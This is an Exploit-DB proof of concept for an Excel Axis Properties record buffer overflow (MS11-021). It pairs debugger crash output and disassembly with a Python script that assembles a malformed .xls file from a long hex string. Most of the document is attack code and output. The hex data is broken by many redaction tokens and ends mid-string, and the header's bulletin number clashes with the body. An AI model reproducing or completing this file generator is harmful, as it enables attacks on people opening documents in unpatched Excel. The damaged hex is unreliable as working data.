Exploit-DB #17227
Description: Microsoft Excel - Axis Properties Record Parsing Buffer Overflow (PoC) (MS11-02)
Type: dos
Platform: windows
Date: 2011-04-29
Author: webDEViL

Exploit:
"""
This is a PoC for MS11-021/CVE-2011-0978
Microsoft Office Excel Axis Properties Record Parsing Buffer Overflow
w3bd3vil[at]gmail[dot].com
twitter.com/w3bd3vil

Modify bits at file location 0x39E7

0:000:x86> r
eax=04dd6380 ebx=ffff5554 ecx=04ab5108 edx=00000000 esi=04ab4800 edi=ffff5554
eip=2f36a2fd esp=0021420c ebp=00214218 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
2f36a2d5 33d2            xor     edx,edx
2f36a2d7 53              push    ebx
2f36a2d8 8b5d18          mov     ebx,dword ptr [ebp+18h]
2f36a2db 891540cdfc2f    mov     dword ptr [EXCEL!DllGetLCID+0x32517 (2ffccd40)],edx
2f36a2e1 3b580c          cmp     ebx,dword ptr [eax+0Ch]
2f36a2e4 0f8d8e9c1a00    jge     EXCEL!Ordinal40+0x423f78 (2f513f78)
2f36a2ea 39551c          cmp     dword ptr [ebp+1Ch],edx
2f36a2ed 56              push    esi
2f36a2ee 57              push    edi
2f36a2ef 0f84a09c1a00    je      EXCEL!Ordinal40+0x423f95 (2f513f95)
2f36a2f5 395514          cmp     dword ptr [ebp+14h],edx
2f36a2f8 7f27            jg      EXCEL!Ordinal40+0x27a321 (2f36a321)
2f36a2fa 8b4010          mov     eax,dword ptr [eax+10h]
2f36a2fd 8b0498          mov     eax,dword ptr [eax+ebx*4] ds:002b:04dab8d0=????????
2f36a300 3bc2            cmp     eax,edx
2f36a302 7425            je      EXCEL!Ordinal40+0x27a329 (2f36a329)
2f36a304 0fb738          movzx   edi,word ptr [eax]
2f36a307 8d4c3f02        lea     ecx,[edi+edi+2]
2f36a30b 51              push    ecx
eax here points to location in the file 0xFB4.
0:000:x86> dd eax
04dd6380  0376ec80 04dd02b0 04dd0330 04dd0318
04dd6390  04dd0380 04dd0398 04dd03b0 04dd03c8
04dd63a0  04dd03e0 [PII_REDACTED] 00000001
04dd63b0  [PII_REDACTED] [PII_REDACTED]
04dd63c0  [PII_REDACTED] [PII_REDACTED]
04dd63d0  [PII_REDACTED] [PII_REDACTED]
04dd63e0  [PII_REDACTED] [PII_REDACTED]
04dd63f0  [PII_REDACTED] [PII_REDACTED]
0:000:x86> dd 0376ec80
0376ec80  00[PII_REDACTED]006c 00730073 006f0077
0376ec90  006b0072 eaf10000 [PII_REDACTED]
0376eca0  0075006d [PII_REDACTED] eaf10000
0376ecb0  0283eb30 6666ce60 0283eb40 6666c960
0376ecc0  0283eb4c 6666c960 0000f80c 00000000
0376ecd0  [PII_REDACTED] [PII_REDACTED]
0376ece0  0283eb98 6666ce60 0283eba4 6666c960
0376ecf0  0283ebb0 6666c960 [PII_REDACTED]

webDEViL
"""
import binascii


wD="d0cf11e0a1b11ae[PII_REDACTED][PII_REDACTED][PII_REDACTED]003e000300feff[PII_REDACTED]00000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000feffffff00000000feffffff000000"
wD+="[PII_REDACTED]fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffffff[PII_REDACTED]060500e228cd07c9"
wD+="c[PII_REDACTED]000e1000200b004c[PII_REDACTED]e20000005c[PII_REDACTED]004e49492d54524c5"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]02020"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]20202"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0b[PII_REDACTED]000"
wD+="00c00100003d[PII_REDACTED][PII_REDACTED][PII_REDACTED]090008009c0002000e[PII_REDACTED]00001"
wD+="[PII_REDACTED][PII_REDACTED]000af[PII_REDACTED]bc[PII_REDACTED]3d001200e7fa2c013e2b2d1e3800"
wD+="[PII_REDACTED][PII_REDACTED]020000008d[PII_REDACTED][PII_REDACTED]000e[PII_REDACTED]b[PII_REDACTED]"
wD+="0da[PII_REDACTED]31001a00c8000000ff7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c0031"
wD+="001a00c8000000ff7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c0031001a00c8000000f"
wD+="f7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c0031001a00c8000000ff7f[PII_REDACTED]00"
wD+="[PII_REDACTED][PII_REDACTED]61006c0031001a00a0000000ff7f[PII_REDACTED][PII_REDACTED]4100720"
wD+="[PII_REDACTED]c0031001a00c80004000c[PII_REDACTED][PII_REDACTED][PII_REDACTED]690061006c0031"
wD+="001a00c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c0031001c00a0000000f"
wD+="f7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]006f006d[PII_REDACTED]1a00dc000000ff7f90010000"
wD+="[PII_REDACTED][PII_REDACTED]690061006c0031001a009a010000ff7f[PII_REDACTED][PII_REDACTED]410"
wD+="[PII_REDACTED]1006c0031001a009a010000ff7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c"
wD+="0031001a[PII_REDACTED]ff7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c0031001a00bd010"
wD+="000ff7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c0031001a00bd010000ff7f90010000"
wD+="[PII_REDACTED][PII_REDACTED]690061006c0031001a00c80001000a00bc[PII_REDACTED][PII_REDACTED]0"
wD+="[PII_REDACTED]1006c0031001a00a0000000ff7f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0061006c"
wD+="0031001a00c80000000a[PII_REDACTED][PII_REDACTED][PII_REDACTED]690061006c0031001a00c8000"
wD+="0000c[PII_REDACTED][PII_REDACTED][PII_REDACTED]690061006c0031001a00c8000100ff7fbc020000"
wD+="[PII_REDACTED][PII_REDACTED]690061006c0031001a00c[PII_REDACTED]0bc[PII_REDACTED][PII_REDACTED]0"
wD+="[PII_REDACTED]1006c001e041c[PII_REDACTED][PII_REDACTED]2c2323305f293b5c[PII_REDACTED]2c2323"
wD+="305c291e[PII_REDACTED]1c[PII_REDACTED]232c2323305f293b5b5265645d5c[PII_REDACTED]2c23233"
wD+="05c291e[PII_REDACTED]1d[PII_REDACTED]232c2323302e30305f293b5c[PII_REDACTED]2c2323302e30"
wD+="305c291e[PII_REDACTED][PII_REDACTED]22232c2323302e30305f293b5b5265645d5c[PII_REDACTED]2"
wD+="c2323302e30305c291e0437002a003200005f282224222a20232c2323305f293b5f28222422"
wD+="2a205c28232c2323305c293b5f282224222a20222d225f293b5f28405f291e042e002900290"
wD+="0005f